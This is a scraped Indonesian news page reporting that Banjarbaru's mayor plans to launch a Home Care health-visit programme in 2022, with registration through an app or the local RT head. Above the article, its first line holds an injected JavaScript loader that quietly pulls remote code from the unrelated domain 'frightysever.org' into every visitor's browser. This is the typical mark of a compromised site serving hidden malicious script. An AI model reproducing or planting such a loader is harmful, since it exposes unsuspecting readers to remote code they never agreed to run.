(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tahun Depan Home Care Dimulai, Layanan Kesehatan Langsung ke Rumah Warga Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Di tahun 2022 mendatang pasangan Wali Kota Banjarbaru Aditya Mufti Ariffin dan Wakil Wali Kota Wartono mulai melunasi janji-janji politiknya.

Salah satunya adalah Home Care, sebuah program fasilitas ini akan dinikmati oleh warga Kota Banjarbaru di tahun 2022 mendatang, dimana para petugas kesehatan yang akan datang ke rumah pasien untuk memberikan layanan kesehatan.

Hal ini diungkapkan langsung oleh Wali Kota Banjarbaru setelah melakukan audiensi bersama perwakilan masyarakat Kota Banjarbaru di Ballroom Grand Daffam Banjarbaru, Senin (6/12/2021).

Dijelaskan Aditya bahwa Home Care ini akan sangat membantu warga yang tidak bisa mendatangi fasilitas kesehatan (Faskes), bisa memanfaatkan Home Care ini.

“Jadi untuk masyarakat terutama masyarakat yang memiliki penyakit seperti stroke, lumpuh dan lain-lain yang tidak bisa datang ke Faskes, akan mendapat pelayanan kesehatan di rumah baik dari pemeriksaan sampai dengan pengobatan,” katanya.

Selain itu, Home Care ini juga ditujukan kepada masyarakat penyandang disabilitas, dalam pelaksaan ini Dinas Kesehatan akan bekerjasa sama dengan Puskesmas serta SKPD terkait.

“Seperti warga kurang mampu. Maka Dinas Sosial akan ikut membantu dengan memberikan sembako dan lain-lain,” terangnya.

Hal ini, kata Aditya peran dinas terkait akan bertugas sebagai pendukung dalam melakukan pelayanan kesehatan.

Ditambahkan Aditya, dirinya sudah meminta Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru untuk membuat aplikasi Home Care agar masyarakat dapat mendaftarkan dirinya sendiri. Namun, apabila masyarakat tidak memiliki smart phone, maka bisa dibantu oleh Ketua RT di lingkungannya membantu pendaftaran secara manual.

“Bisa lapor ke RT, nanti RT yang akan mengisikan aplikasi tersebut, maka akan langsung terkoneksi ke SKPD terkait,” tambahnya.

Lanjutnya, kalau masih terkendala juga maka bisa langsung lapor ke Kelurahan atau Puskesmas.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie